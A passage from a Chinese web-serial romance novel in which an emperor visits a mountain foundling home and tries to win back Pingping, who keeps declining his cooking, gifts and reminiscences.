瞧那黑汉像是个铁匠，另外一个，连县试都考不中的白身，他这样想焦虑和紧迫缓解了些，默默呼一口气，昂脖直背，脚步愈发沉稳，甚至暗暗运上了内力。 萍萍瞧见柳湛后，朝他浅浅笑了下，但没有主动打招呼。 柳湛径直走到萍萍面前，插进赵冬笋和萍萍当中，笑道：“娘子，为夫来接你回家。” 说时他又不自觉眼热，差点掉泪，伸手要牵萍萍，萍萍却下意识背起手，躲开。 在场除却萍萍柳湛，其余人等见这突然冒出来的夫君，皆呆愣如石。 那同善堂的娘子稍微胆大些，且不相关，头一个发问：“萍娘子这是你家官人？”她看向柳湛身后站成一排的锦袍男子，继而瞥向他们的佩剑，心生紧张，“怎么、怎么没听说过……” “他不是我官人。” “我是！”柳湛听见否认，急了，紧着喉咙再开口：“我——” 将出一个字，就被萍萍快言快语堵住：“我和你可有过过三书六礼，明媒正娶？上过你家族谱？你我之间，可曾有过一份婚书？” 柳湛哑口，眼尾泛红，他的确没有给过她任何名分。 第108章 第一百零八章 相见时难 柳湛预演过千百次重逢， 却没想过这样不堪。 而萍萍早避开对视，没有留意到柳湛任何表情。 她想，如果以前质问出这番话， 自己一定会难受、憋闷， 甚至委屈得哭出来， 但现在，虽然仍然没有原谅他，但讲出口竟无太多波澜。 她这两年过得太开心， 没哭过， 所以此刻也不会因为柳湛掉眼泪。 若真要说伤心，独他那句“回家”， 惹她忆起扬州亲友，心头发酸，虽然杀了裴改之，犹有悲愤。 柳湛始终目不转睛盯着萍萍，自然睹见她脸上淡漠，愈发苦涩，抬头望天， 免得两泪交流。 他想让她别这样说话， 别这幅表情， 却又顾忌着说出口萍萍误会了， 以为他居高临下勒令。 良久，柳湛哽咽央求：“萍萍——”不敢再喊她娘子，想起没名分的话， 又想捅自己千百刀，“你和我说说话吧。” 柳湛身后随侍惧震，天下一人的官家竟如此低声下气。 “我还有许多正经事要做。”萍萍婉拒， 看向襁褓：“我要去找堂主，给这女婴登记，安排托管。” 她有理有据，柳湛只能扯嘴角，赔笑：“那你先忙。” 他说得很轻，觉得自己有点有气无力。 萍萍已转看向另一位娘子和张安，同他二人解释女婴来历。说完萍萍就往正堂走，赵冬笋自觉送佛送到西，他捡的女婴，自然要有始有终，一道去了。 另一位小娘子是拾柴归家，牵起女童，亦同路。至于张安，他沉默最久，最后开口：“今日鄙人刚好是来整理人员名册的，待会可以帮着登记。” 萍萍点头：“我知道，堂主和我说过了，嘱咐我和你一道整理。” 四大两小，一齐远离，原地很快只剩下青山褐石，柳湛和他的随侍们。 官家自降身份，辛苦寻人，却吃了小娘子闭门羹，自有随侍忿忿不平，狠瞪萍萍背影，亦有随侍建议：“郎君，实在不行，将萍娘子绑回东京？” 千乘之王，生杀予夺，没有什么不对。 柳湛却振袖呵斥：“放肆，掌嘴！” 说话的随侍旋即跪地自掴。 柳湛脸色晦暗，自己如果那样做，和萍萍越发没有回旋余地。 他看着随侍已经泛红的脸，叹了口气：“起来吧，这样的话今后不要再提。” 随侍齐齐应声：“属下遵命！” 柳湛迈步，亦朝正堂方向走，他可以等，等萍萍忙完。他可以排在女婴，甚至那铁匠和书生的后面，谁叫他们没名分，他也没有。 柳湛思及此，无声苦笑，又暗暗告诫自己，若想做回萍萍的官人，那天子与铁匠书生贵贱有别的念头，千万不能被她知晓。 他悄然跟在萍萍后面十来步距离，不敢靠太近了，众随侍又落柳湛身后十余步。 前方，赵冬笋正瞟着萍萍道：“你这一天天的，既养花又要做名册，辛苦啊。” 萍萍一笑，亦看赵冬笋一眼：“若说辛苦，怎及撑船打铁磨豆腐。” 赵冬笋收下萍萍的目光，哈哈大笑。 其实他这两回来，的确对萍萍生出了些想法——倒不是因为二人多熟，有多了解，只是萍萍偏丰腴，赵冬笋觉得应该好生养，毕竟他前头亡故的娘子，就是因为人瘦盆骨窄，生不下来，一尸两命。 但方才瞧那自称萍萍夫君的男子，无论样貌、气派，皆一等一，他说一口流利官话，穿的圆领袍上暗走的都是金线，真金子。 后面还跟乌泱泱那么多下人，也都气度不凡。 男子肯定是大贵人，自己一个打铁的，哪里惹得起，赵冬笋就在这几步路间歇了心思。 待安顿好女童，赵冬笋即刻告辞下山。 另一位小娘子亦早离开，只剩下张安和萍萍整理名册，山上潮湿，一打开许多页墨迹洇染，看不清记录。 半本废了，要重誊抄。 萍萍俯仰，将存放名册的库房上下都打量了一遍，防水还好：“得想个防潮除湿的法子。” 她记得扬州梅雨天都用木炭，善堂可以效仿。 张安旋即感叹：“据说燎沉香可以防潮，但沉香太贵，我们都还没见过。” “不用沉香，”萍萍看向张安，“木炭也可以。” 四目相对那一刹，张安本能避开，怕瞧见萍萍眼中“你连这都不知道”的讥色，但挪了眼后，脑子才比动作慢一拍反应——萍萍眸中没有讥色，她就是正常告知。 张安又后悔方才避开对视了。 他想重新对视，萍萍却已朝库房外走：“先抄吧，抄好我去和堂主说。” “哦，好。”张安急忙赶上。 柳湛伫在远处，注视萍萍和书生一前一后，从那门窗紧闭的库房出来。 二人已经离开许久，柳湛袖下仍紧紧攥着两拳——他方才还大度地想可以排队，这短短几刹，就忍不住要冲进去。 柳湛拳松开又攥，快步跟上二人。 萍萍和张安轻车熟路，来到次间——自打头回做账后，二人共事，都挑这间有两张桌子的，各做各的。 张安誊抄洇染的，萍萍补录近半年的记录——生老病死，短短六个月，善堂里有人故去，亦迎来许多新生。大多数女婴不知来处，只能先记下何月何日，于何处捡的，然后将入堂这一日定为生辰。 柳湛始终伫在树影后，静眺次间。 这回他比方才冷静些，因为次间开了窗子。 但仍目不转睛。 一会温情脉脉地想，原来她现在过的是这样的生活，一会又觉萍萍提笔垂首，专注的样子闪闪发光，到最后，竟对那书生生出一丝妒忌，想代替他坐到那张桌后。 柳湛听见身后有窃窃私语，皱了下眉，依旧凝视萍萍，不予理会。 这一下午，总有人因为各种事，恰巧从柳湛前边、后边、侧边路过。 殊不知，他和萍萍那一段花房前的拉扯，由拾柴小娘子起头，一传十，十传百，迅速传遍善堂。 大伙都聚在同一间房里，隔着窗户瞅大树底下，议论纷纷：“世上哪找的？这么俊的人。” “瞧着非富即贵，不知打哪来的？” 柳湛不出声，大伙单看的仅一张脸，越瞅心情越好。婆子和小娘子们不禁嗑起瓜子，连堂主都来凑热闹：“呸——” 先吐瓜子，再说话：“这么好奇，直接去问他呀！” “不敢，没瞧见这大官人身后的木桩子，都戴着剑呢。” “你们不敢我去问！”有大胆的小娘子挑着下巴出去，临到柳湛近前，却怯了，转向随侍们打听。 随侍们守口如瓶，问来问去，只说柳湛是家中郎君。 “还是个家主？” “我说非富即贵吧！” “如此贵人，一直杵在那里望萍萍，要说两人没点什么我还真不信。” “就是，站了两个多时辰了，望妇石呀！” …… 这天下午，善堂炒的瓜子消耗得特别快。 投在柳湛靴前的光线渐渐挪位，他从午后一直杵到了快酉时，才等到萍萍从次间出来。 柳湛疾步迎上，该轮到他了。 “萍萍！” 萍萍停步侧首，看向柳湛，并没有刻意躲避，只平静道：“我还要回花房驱虫。” 柳湛心底叹气，太阳眼看就要落山了，她驱得哪门子虫啊。 他柔声带笑：“我和你一起驱吧。” 萍萍没说同意，也没拒绝，抬腿继续往花房走，柳湛赶紧追上。 “你打算怎么驱虫？”他追着问，正好经过后厨，烟囱里冒着烟，灶前的厨娘并帮厨却停下手中活计，隔着窗缝注视萍萍和柳湛。 “我打算试试用麻布裹着筷子头，一只只捋出来。”萍萍如实告知。 柳湛刚想拍马屁说这法子妙，就听她续道：“这是赵兄教我的法子。” 柳湛一噎，还得赔笑：“赵兄是谁？” 不敢让萍萍看出一丝怒妒。 “就是方才抱女娃娃上来的。” 柳湛旋即对上号，想说一个铁匠懂养花吗？ 怕惹萍萍不高兴，话噎在嘴里，不敢说。 萍萍找来竹筷，裹好麻木，柳湛堆笑：“一双筷子，正好分我一只。” 萍萍沉默片刻，递给他一只，柳湛也不顾麻木脏，立马抓紧筷子头，仿佛牵住了她的手，脸上一阵恍惚笑意。 萍萍专心致志，一只只捋虫，再也没瞥柳湛。 柳湛看那些白白黑黑的虫子竟比自己有吸引力。 他满腹言语，极力摁下，等蛀虫快挑完了，才敢颤着声音问她：“你这两年……过得好吗？” 萍萍扬首，冲柳湛绽放灿烂笑容：“好极了！” 他一下子眉眼皆定住，分唇，呆滞。 少倾，缓缓读萍萍的眼神和表情，她没有骗人，这两年是真的过得好。他心中生出无限欣慰，却也难过，这对清亮灿烂的眸子，里面再也瞧不见半分爱恋。 这就是她离开且不愿回宫的原因？ 她不爱他，要去爱谁？ 柳湛等了许久，都没有等到萍萍反问他过得好不好，她甚至懒得客套。 柳湛心底生起一股悲凉，面色哀戚：“我这两年过得很不好，独守空房——”他说时一直凝睇萍萍，见她分唇似要开口，他却突然怕了，她怕说些什么立后纳妃，广开后宫的言论。柳湛急忙改口：“从前的事我已经都记起来了，以前是我对不住你，废后的恶行我已经昭告天下，还给兰姨她们都立了衣冠冢。” 其实他还给萍萍家里平了反，已经知晓了她的姓氏，却仍顾忌兰姨当年言语，怕她伤心，踌躇不敢告知。 萍萍心头想的却是，旁人视之如山压，难翻案的冤情，天子挥一挥手就能移山。 她不由不耐烦道：“你走吧，下山去，别再找我了。” 第109章 第一百零九章 人留古寺悟前因 柳湛身往萍萍方向倾了些：“我——” 话未出口， 手上的竹筷就被萍萍抽走了。 她站起身，但凡这会下山，她都会催促， 因为待会天黑， 山路就不好走了。可轮到柳湛， 她却顾忌起来，担心这么一说多，他反而借口天黑留宿。 于是萍萍只道：“你快走吧。” 语气比方才温和些。 柳湛深深凝睇：“好。” 而后才起身。 萍萍伫立原地， 似要目送， 柳湛于是出花房，沿着下山路走， 一大拨随侍陆续跟上。 萍萍等众人身影都全部消失在视线里，确定下山了，才转身回房。 将黑未黑，山暗天红，草木浓绿，柳湛竟在下山路上偶遇张安——他不是早抄完那什么名册了吗？怎么这会才走？ 柳湛微不可察挑眉。 与张安同行的是位负责搬运善堂米面的挑夫，下午亦听了一嘴， 瞅见柳湛， 立刻肘拐张安， 让张安也回头。 不知所以然的张安回首， 这才发现柳湛，他和赵铁匠不同，并未知难而退， 旁边挑夫打趣说他难追了，张安便点头：“是难了，原打算乡试后提亲， 现下得会试了。” “哎哟，你要考举人！”挑夫竖大拇指，“有志气。” 柳湛在后听着，此类从来懒得插话，但一想到书生考乡试是为了娶萍萍，就忍不了，不咸不淡开口：“中了县试，还要三年才得秋闱，寒来暑往，沧海桑田。” 挑夫和张安熟，眼睛眺着柳湛，给张安帮腔：“张安，有人嫌年岁长，那你就先成家后立业嘛，生几个娃儿再考状元！” 张安却摇头：“当今官家年近三十仍未立后，亦无子嗣，想来也是遵循大丈夫先立身，我等匹夫又着急什么？” 张安说时，面上不自禁浮现敬仰尊崇之色。 柳湛噎住，之后沿路，沉默如山。 * 翌日，天蒙蒙亮。 萍萍去善堂的伙房用早膳，今日统一吃汤饼，煮好的无汤面添上辣子、花生葱和花，再浇一勺带肉沫的卤汁。 汤饼已先配好数十碗，来一个人就发一碗，轮到萍萍，明明瞥见碗内葱花，她还是接过，道了声谢。 此时伙房里人不多，她挑了张空桌坐下，手探向筷筒，却有一人先她一步抽了双筷子，接着在她对面落座。 萍萍眼往上抬，见是柳湛——他今日亦是锦袍玉带，但打扮明显比昨日讲究许多。 柳湛未同萍萍对视，径直端来她那碗，帮挑出葱。 “你昨日不是下山了吗？”萍萍问。 “昨日下山，今日上山。”柳湛专注挑葱，头也不抬。 萍萍抿了下唇，伏低身子，声亦压到最低：“你天天在山里，是要弃国家大事于不顾吗？！” 柳湛微笑，家国先于儿女情长，这正是他钟情的萍萍。 “放心，我还没那么昏聩。”他笑 着说。 “萍萍，这位是谁呀？”人一多起来，就有忍不住凑近打听的。 萍萍张嘴时，柳湛已转身，甭管认识不认识，就笑答：“旧人。” 不是官人，旧人总算吧？ 萍萍合唇、默认。 “哦？哦——”打听的婆子一音四声，起承转合，“那大官人怎么称呼？” “晚辈姓柳。” “国姓呀！”婆子拔高嗓门追问，“大官人家里做什么的？” “晚辈从前和萍萍在润州开汤饼店。”柳湛看向萍萍，敛笑，凝眸，“后来我不对，把她气跑了。” 一跑就跑出几千里。 婆子旋即回首，同另一张四人桌挤的八名婆子和小娘子对视、挑下巴、点头——说什么来着？ 大家都猜对了吧。 婆子回头，接着四、五名小娘子亦走过来，你一言我一语：“气跑娘子，那是你不对。” “活该你娘子不认你，气反过来，多受一受。” “好好哄哄萍萍。” 萍萍辩称不是娘子官人，却被淹没在如浪人声中。 她无奈鼻息出了口气。 众人仍在打破砂锅问到底，连煮面的厨娘都凑到桌边：“开汤饼店的？瞧你周身矜贵，甩手掌柜吧？” 柳湛笑着摇头：“都是在下掌勺。” “真的？” “千真万确。” 小童们也醒了，涌进伙房四处寻人，平常总唤萍萍娘亲的，贴近前听见大人言语，立马就问：“阿娘，这位是爹爹吗？” 萍萍刚要否认，柳湛就抬手笑着摸了摸女童脑袋：“好俊的女娃娃。” 他学本地人说话，还从袖中掏出个金镶玉的长命锁给女娃挂上。 萍萍垂眼：好哇，有备而来！ 女童低头攥着锁，转身就要向同伴炫耀，柳湛抬手：“等等！” 女童停步回头，柳湛又摸出一把糖，递给女童。一下子孩童全跑来要糖，柳湛笑眯眯挨个分发，而后似不经意推了一小把到萍萍面前：“要不要吃？” “我吃汤饼。”萍萍拒绝。 柳湛脸色仅一霎黯淡，就重恢复柔和。随侍们抬着箱子进入伙房，将风车、布娃娃、纸鸢，陀螺、毽子……各色各样的小玩意发给孩童们，又给娘子婆子汉子，人人发一张百两交子，男女老少都送到心坎上。 一时间许多人挤在这桌同柳湛道谢，萍萍面无表情盯着柳湛，他回礼时趁机瞥向她。萍萍的眼神无声说：漫天撒钱，陛下破费。 柳湛抿唇，原本就弯的眉眼弧度愈深，笑逐颜开。 第三次清晨，萍萍再次来用早膳时，发现伙房里面一夜变样。 店门口两侧挂着红灯笼，墙上贴了吉字和福字，点单的名称价格牌亦挂在架子上，换了五张宽桌，内侍们进进出出，运的皆是鲜肉面粉，还有二人灶前轧面擀面，案板上十来个空碗，并葱、鱼皮、笋泼肉和小排配料。 柳湛在灶前忙碌，锅里腾起的热气令萍萍一阵恍惚——他将伙房变成了三水汤饼的模样。 亦或者说，他将三水汤饼搬来青城山善堂。 萍萍想到当年是他果决离开润州，刚经营起来的汤饼铺说卖就卖，才重硬起心肠。 柳湛见到萍萍来，一笑，将刚煮好的一碗银丝面添上鱼皮臊子，推给她：“四，戴红丝缯发带那位娘子。” 这是他俩卖汤饼时的编号，四是左上角落里那张桌。 萍萍没像在润州那会跑堂送面，径直略过灶台，柳湛伸手抓向她胳膊，快挨着了，却陡一收：“唉再等等。” 他重推过来一碗，盖满笋和小排，没有加葱：“这里还有一碗，给你煮的。” 片刻，萍萍端起碗道了声谢，自去找位置吃了。 柳湛不敢回头视线追逐，因为他已经被灶台的蒸气熏得热泪盈眶。 这一天早上，柳湛给善堂里所有人都煮了面。 不知是面真好吃，还是财帛动人心，萍萍开始无论走到哪，都能听见旁人说柳湛的好话，劝和。 每每这时，萍萍都回说莫要劝了，有一回在溪边，她被围得实在脱不开身，说了句狠话：“你们瞧这溪水，能倒流吗？” 说完无意远眺，才发现柳湛立在溪对岸。 萍萍心沉了下。 不知道他听见没有，反正第二天还是笑呵呵煮面，逢人就打招呼，包括萍萍。 好像善堂里的人突然就和柳湛熟了起来，有一回辰巳之间，萍萍路过后院，竟扫见柳湛在帮忙扫落叶。她顿住脚，已经走过去的人，倒回来瞧，才敢确认。 翌日，傍晚，她又发现柳湛在打扫正堂。萍萍忍不住了，走进去注视了会，柳湛才停下扫帚，回首对视，旋起唇角。 四下无人，萍萍直言：“堂堂天子，不在朝堂上安邦治国，却在这里执帚扫地？” 柳湛手仍放在帚上，眉眼间俱是温柔：“一屋不扫，何以扫天下？” “那你打算一辈子就这样拘于灶炉，困于伙房吗？” “治大国如烹小鲜。” 萍萍吐纳数口，转身就走，柳湛跑了两步将她抓住：“萍萍——” 起初掐着手肘，下一刹自退数厘，改为指拉着她的衫子，再一对视，彻底放开她。 他小心翼翼掏袖袋：“你走的时候，落下它了。” 月钗一拿出来，夜明珠就满堂放亮。 “它想跟你走，想被你重新簪在头上。”柳湛双手将钗奉至萍萍面前，屏住呼吸——不知她还喜不喜欢这支钗？ 如不喜欢，换凤冠好不好？ 萍萍仰望堂外，日落线下，一轮皎月刚开始往上攀。 月亮还是那轮月亮，但月亮不是他了。 “明月依旧，物是人非。”萍萍说完不久，就感觉身边那双奉钗的手垂下。 她狠下心没有再看柳湛，跨出正堂。 良久，柳湛扫完余下那一块地，才慢慢踱出。 外面，几位善堂里的人包括堂主，聚在树下喝酒。瞧见柳湛，堂主笑着招手，示意他也过来坐下：“都扫完啦？” 柳湛点头，和其他人一样席地而坐。 堂主给他倒了碗酒：“辛苦辛苦。” 继而敬酒。 柳湛应合，连喝数口，眨眼半碗下去。众人围上来关切：“今日萍娘子有没有和你……再好一点？” 许是醉意上来，又许是心里难受再憋不住，他竟倾诉出口：“从前她说我是她的月亮，现在不是了。” “嚯，那她的月亮现在成 谁了？” 张安吗？ 善堂里的人赶紧锁住嘴巴，怕话漏了。 柳湛面色如今晚夜色，抬手将剩下半碗饮尽。 “大官人，别跟自己过不去，就算萍娘子一生有很多月亮，但你肯定是她曾经最爱的那一个。” 这劝慰不如不开口，柳湛自倒了第二碗酒，一饮而尽。 一阵钝痛，他嗫嚅：“我只想做她的唯一。” 众人你看看，我看看你，拿人手软，吃人嘴软，两样皆占，怎么办？ 只能帮他咯！ 大伙交头接耳，不一会献出一计：“大官人，您的计策，对也不对。追忆往昔，仅仅重建一间汤饼铺是不够的，您要在她面前，把她从前为您做过的每一件都回忆一遍，事无巨细，要让萍娘子晓得，你都铭刻于心，不曾忘记。” “对，让她晓得你记着她的付出！” “还有，从前你俩恩恩爱爱的事，也捡最腻的回忆，别嫌粘牙。小娘子嘛，多听一些往事，保管心软，百炼钢化绕指柔。” 柳湛拇指扣着碗，两颊紧绷：“当真？” “当真！上回米铺的掌柜就这样哄娘子的，他娘子本来要和离的人，听完就眼泪涟涟扑回老张怀中。” 众人当中有个婆子是善堂医婆，术业专攻，多叮嘱一句：“实在不行大官人就卖个惨，撒个娇，说心口疼，萍娘子绝对放不下，怜惜你！” 翌日，萍萍一早起来出屋，柳湛已等在门外。 “今日不煮面了？”她淡淡问。 “煮的。”柳湛跟她一起往伙房走，“我有话，边走边说。” 第110章 第一百一十章 求一颗心 “以前在金山， 我们也走差不多山路。”柳湛笑眺前路，缓缓开口，“每日照料完菜田， 我们就走山路去听经， 或去观江， 亦或者什么都不做，就这样走一走……” 说到这，柳湛眨了眼， 先垂下眼皮， 才偷看萍萍右手——并不是“就这样”，那时候萍萍会牵他的手， 甚至主动挽上他的胳膊，脸颊贴着，黏黏糊糊。 而不是像现在，时刻隔着半身距离，他有时候尝试再靠近些，她就不露痕迹离远。 柳湛勉力维持微笑：“下雨天只能在屋里，你会在做好吃的渍梅， 我太贪嘴了， 你就气得藏到床底下……”他虽是依计行事， 但讲出口， 自己也感慕缠怀，“山居真是神仙日子，我俩病中扶持， 你照顾我，我照料你，摩邓女见过了阿难的不垢不净， 但仍执爱。” “后来我重回江南，为了帮我找回记忆，你邀我重上金山。” 柳湛话顿，前方山路转弯，脚下亦转，峭壁上一簇簇青苔，好似一针一线绣出的锦屏。他无心赏景，十分紧张，忐忑续道：“那时你对我全心全意，我却总质疑你的意图。” 柳湛脚步慢下来，禁不住扭头凝睇萍萍，那时候她对他是真的好，比如对谈，那时的萍萍绝对不会像现在这样，任由柳湛的话全部掉到地上。 柳湛别首，喉头滑动，是他自食其果。 虽然萍萍一路没接话，但柳湛还是要继续说：“是我对不住你，”他顿了顿，低下头，“我……早该想起来，焦山上你都愿意为我死，没有人会无缘无故为一个人死。” 山间鸟啼不断，甚至能听见清泉流淌的声音，却没有萍萍的回应。柳湛不禁扭头张目，紧紧盯着萍萍侧颜：“你还记得吗？在碑林里，那时我若记起曾为你腹上挨刀，万不会将你至于险境。” “啊哈——”萍萍本能张嘴，自知失礼，即刻捂嘴，掩住后半声哈欠。他刚一阵叨叨，把她说困了。 柳湛眼红人怔，腿半晌忘了抬，心头大恸，一声哈欠在脑海里久久难驱散。 萍萍只好也停下来，告诉他：“陛下，您说的这些事民女都记得。” 但也仅只记得。 她继续往伙房走，柳湛如梦初醒，拔腿直追。他脸上一阵烫，她不在意了。 接下来一路，柳湛都没有再开口。 前方伙房门口，小小一块地竟挤了四、五人打扫——全是昨晚树底下喝酒的，正待柳湛捷报。 众人眺见柳湛，笑容俱僵——他怎么不张嘴呀？ 昨日不是教过吗？把二人情意反反复复掰开嚼烂，萍娘子心慈好善，肯定念旧情！ 医婆亦抬手在胸口比划，提醒柳湛卖惨撒娇。 柳湛垂眼，避开医婆对视。 他自觉不会撒娇，但愿意为她讨巧卖乖，抬起手臂，缓慢抚向胸口：“萍萍……” 萍萍前方是医婆，侧首是柳湛，闻声扭头看向柳湛。 柳湛原先仅指尖探抚锦袍，这时变成五指展开，狠狠抓心。他手背上骨节与青筋俱起，英眉攒起，分唇轻喘，泪盈于眶中晃荡，将掉未掉，沾湿睫毛：“你现在这样……我心口疼。” 整个人仿佛一碰就会碎，若为女子，便是西子再现捧心。 萍萍转脖朝前方唤：“医婆，他胸口疼，您给他瞧瞧？” 她托付了医婆，就径直走进伙房，将柳湛抛在身后。 柳湛瞧得分明，她依然善良，没有恶意，但眸子里读不到丝毫的触动。萍萍对待他完全就是对待街边摔倒的路人，萍水相逢，搭把手，扶起来，而后离去。 他这才意识到，从前驿馆中、汴河上，能一次又一次哄好她，不是他的讨巧卖乖厉害，而是她的爱多到可以原谅他。 柳湛脸又烫了下，不仅下意识回避众人目光，甚至连阳光草木也不敢对视，想找个地缝钻进去。 少顷，柳湛重新抬首，厚起脸皮目光继续追逐萍萍，并暗中给自己打气。 他迈进伙房，像之前那样，沉下心认真给萍萍煮面。 如此日复一日。 * 寻常人家生子百日，要过“百蒣”，至来岁生日，过“周蒣”。善堂里的孩子虽然生辰是捡来那日，但也要过百蒣、周蒣，因为他们和别的孩童一样珍贵。 这月廿三，善堂里给一位男童举办周蒣筵席。 大伙天不亮就开始忙活，吃席伙房是坐不下的，桌椅都搬来外面山路上——平时惯用的加库房里存的，一共摆下十二桌。 人展臂宽的蒸笼高高架起四层，蒸羊、蒸鹅、蒸鸡蒸猪头。 萍萍忙前忙后，她见柳湛也在人群中穿梭，手脚不停。二人兴许都偷瞟过对方，但没对视，亦未打招呼。 萍萍分神一霎，一拇指长的梅条塞进她嘴里——厨娘正炸猪肉，分一点先尝。 “好吃不？”厨娘笑问。 刚出锅，有些烫，萍萍卷了下舌头：“好吃！” 厨娘便将那漏勺长筷都往萍萍面前递：“帮我炸会，我要去方便，憋不住了。” “那你快去！”萍萍先擦干净手，才接过，帮着炸，翻面、炸好的捞起来沥油。 厨娘没去多久就回来交班：“来了来了。” 萍萍归还漏勺，手空下来，见肉已炸好一箩筐，就帮着分盘，挨个端上桌。到第七桌还是第八桌，萍萍没细数，突然就和柳湛对上眼。 他旋即笑了下。 萍萍视线往下挪，才发现柳湛身前案板上有凝乳缸子，还有挤好了，成形的十来个酥油鲍螺。 “尝一个？”他扬着嘴角邀她品尝。自她离宫后，那些个反反复复追忆往昔的日子，他以为六年前的回忆就只那些了，却突然在某一夜记起一件新的：他觉萍萍制酥油鲍螺辛苦，不想操劳，自己在画舫里学，做给她吃。 柳湛激动得从床上坐起，一手攥拳捶另一只掌，犹嫌不够，赤脚下地绕寝殿踱步。 那一夜他难得重新拥有了几分活力。 柳湛冲萍萍笑道：“尝尝，看看我的手艺有没有退步？” 萍萍其实无论何时，都馋酥鲍，心却下沉一寸，面上浅笑：“不了，我早上吃饱了。” 柳湛的心再次跌落。 萍萍扬了下手：“那我去那边帮忙了？” 说这话时，沉下去的忽又跃起一寸，持平。 “去吧。”柳湛面上始终挂着和煦的笑，语气始终温柔。 周蒣宴须一人主持唱诵，大伙自然推荐最有文化的张安。 张安事先写好千字墨稿，一卷长得两手兜不住，直垂地上。 他一字字照着念。 萍萍听了会，发现掉书袋严重，词句晦涩，且说来说去都是一个意思，是车轱辘话。 她再往下一扫，十来桌人，大半掺起瞌睡。 她有点明白张安为什么考不中了，正想着，见张安顺着读已快读完手上捧的，萍萍连忙帮他拾起地上掉的，张安读到那一行刚好接上，没有中断、磕巴。 张安感激看向萍萍，四目相对，萍萍浅笑点头，张安马上跟着点了下，红着耳根继续念。 唱诵了半个时辰才说完，接下来该行“试蒣”——这是本朝周蒣必行的风俗，将果木、饮食、官诰、笔研、筭秤罗列在一块红布 上，那做周蒣的小儿从头至尾爬过，看先拈何物，以为征兆。 这项有意思，大家从昏昏欲睡中醒来。 善堂里男童不多，今日周蒣这位，天生右手没有五指，才被遗弃。他爬的时候萍萍和另外两位小娘子沿路跟随相护，男童右手抓起一支毫笔，众人叫好：“好，将来考状元！” 话音未落，男童就丢了笔继续朝前爬，抓起那方砚台。 这个重，萍萍赶在男童下面托住，砸坏砚台是小，碎砸飞进他眼睛里就糟糕了。 男童懵懂不知，抓着砚台挥了又挥，折返回爬，一路不放手，萍萍就上下左右一路托护，为了方便，改蹲为跪，情急之下跪着爬了两步。 试蒣完便开席，众人吃吃喝喝，也不讲究，有几个酒蒙子到处敬酒，轮到萍萍这，她不好拒绝，也喝了两盅。 不一会儿，柳湛也来给她敬酒了，定定看着她，幽黑的眼眸像要把她吸进去。 萍萍心一慌：“不喝了吧，我都上脸了。” 柳湛唇抿一线，而后旋起，温柔笑应：“好。” 他带着满满一盅酒离去，周围皆是欢声笑语，小童们嬉笑打闹，衬得他的背影格外孤寂。 少顷，柳湛折返，手里的酒不知道是倒了，还是喝了，反正没了，变成一碗清汤。 他将汤双手捧到萍萍面前，见她不接，也不恼，笑着放到桌上，温声告知：“醒酒汤。” 萍萍小声，极利落地道了声谢，她能感受到汤面散发的热气，应该是他特意温过，但她没喝，继续同旁人闲聊、说笑。 善堂里有几个婆子年轻时是演杂剧的，这会不上妆就演起来，身上功夫都还在，引得阵阵喝彩。 萍萍长得不算高，又没卖力挤，站在后排有些瞧不着，踮起脚尖，扬着下巴看。 “萍萍。” “萍萍。” 旁边人喊了两声，她才侧首，柳湛不知何时站来她身旁。 “我举你起来？”柳湛笑道，“瞧得清楚些。” 周围没人那样做，萍萍拒绝：“不了，太尴尬了。” 柳湛没应声。 萍萍继续观杂剧，不多时，身边男人再次开口：“喝水吗？” 杂剧正演到精彩处，萍萍目不移，只口中拒绝：“不渴。” “吃不吃东西？” 萍萍这回口都没开，只右手压低摆了摆。 柳湛见人多挤着，天气又渐热，周围已有人打起扇子，便也抽出一把折扇，展开来为萍萍扇风。 “不用了。”萍萍过了会发话，柳湛道：“我——” “嘘！”萍萍转头指放唇上，瞪他一眼，“我听不清了。” 柳湛呆立住，不用扇就身心皆凉，尤其两管袖子里，凉飕飕的。 她嫌他吵了。 她宁愿独享，也不愿和他同待一处。 等杂剧精彩处演完，萍萍再转头看时，旁边伫立之人变成一位小娘子，柳湛不知何时悄然离去。 但晚上萍萍和大伙一道收拾狼藉时，柳湛再次现身，他一凑近萍萍，大伙就各种由头撤退，顷刻间山路上只剩下萍萍和柳湛，还有未收完的桌椅板凳。 她搬桌回库房，柳湛夺过：“我来吧，你歇着。” 萍萍闻言道了声谢，竟真不收了，拔腿就走。 柳湛望着她转身，脑海中走马灯般闪过痴娘、敬酒的，张安、男童……禁不住脱口而出：“你对每个人都善解人意，可不可对我也好些，给个回应？” 他喉结鼓起，眼尾泛红，微微抬了臂，胸口起伏。魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 110-118 第111章 第一百一十一章 他绝不会放手 他知道之前自己有负于她， 不该如此质问，可面对萍萍一次又一次的冷漠，人心都是肉长的， 还是忍不住出口。 柳湛心里难受得要命， 别过头， 微扬起下巴，喉头滑了又滑。 过会，稍微调整了些， 才重转回头看向萍萍， 咬牙吞咽：“对不起，我方才话说重了。” 萍萍始终安静注视柳湛， 听见这句，心里突然就打一浪，啪地拍上岸。 自重逢起始终平静的她，竟重泛出一丝怨恨，也可能是今晚喝了酒，冲口而出：“我以前也对你好过的！” 是他自己把她的心践踏到地上，碾碎。 她低头瞥地， 干净利落：“我们就这样算了吧。” 柳湛讷然失语。 他知道萍萍是攒够了失望才离开， 她的爱是逐渐消散， 可他不是啊！明明离京前还你侬我侬， 她在他怀里答应得好好的，他离开她房中时回望一眼，她甚至都在冲他笑。 他满怀希冀筹谋着他们的未来， 她却骤然离开，整个人兀地消失在世间。 叫他怎么甘心！ 直至此刻，他依旧满心满眼都是她， 也忘不了她全心全意爱他的样子。 柳湛暗攥双拳，自己不可能放手，更不可能眼睁睁送她去爱别人。 “郎君。”一随侍忽自幽暗中现身，在柳湛背后埋首作揖。 柳湛垂帘不语，不是下过命令？随侍不得轻易现身。 随侍亦恐柳湛恼怒，头垂得更下：“郎君，事情紧急。” 萍萍在不远处听见，转身就走，她不听墙角。 柳湛眼急：“萍萍！” 随侍在柳湛身畔低语“那人已经带到”，柳湛却只瞅着远离越远的心上人，急忙表态：“我不会放弃的！” 萍萍听进耳中，脚下不停。 她往山上走，回自己厢房，一路步子都比平时快，因此眼睛瞧见路边提灯的张安，脚却没停，越过两步，重倒回来：“张安？” 他怎么没回家？ 张安看穿她的疑问，笑着颔首：“太晚，堂主留我在堂里住一宿。” 萍萍点头：“是，这么晚看不清，山路陡容易出事。你早些歇息吧！” 说罢便辞行，张安跟着她走了好几步，才踟蹰开口：“萍娘子！” 他磕巴了下：“鄙、鄙人有话想同你说。” 萍萍驻足，转身。 灯笼光照在二人脸上，周遭青松梧桐皆只幽暗轮廓，草丛黑得完全看不清。 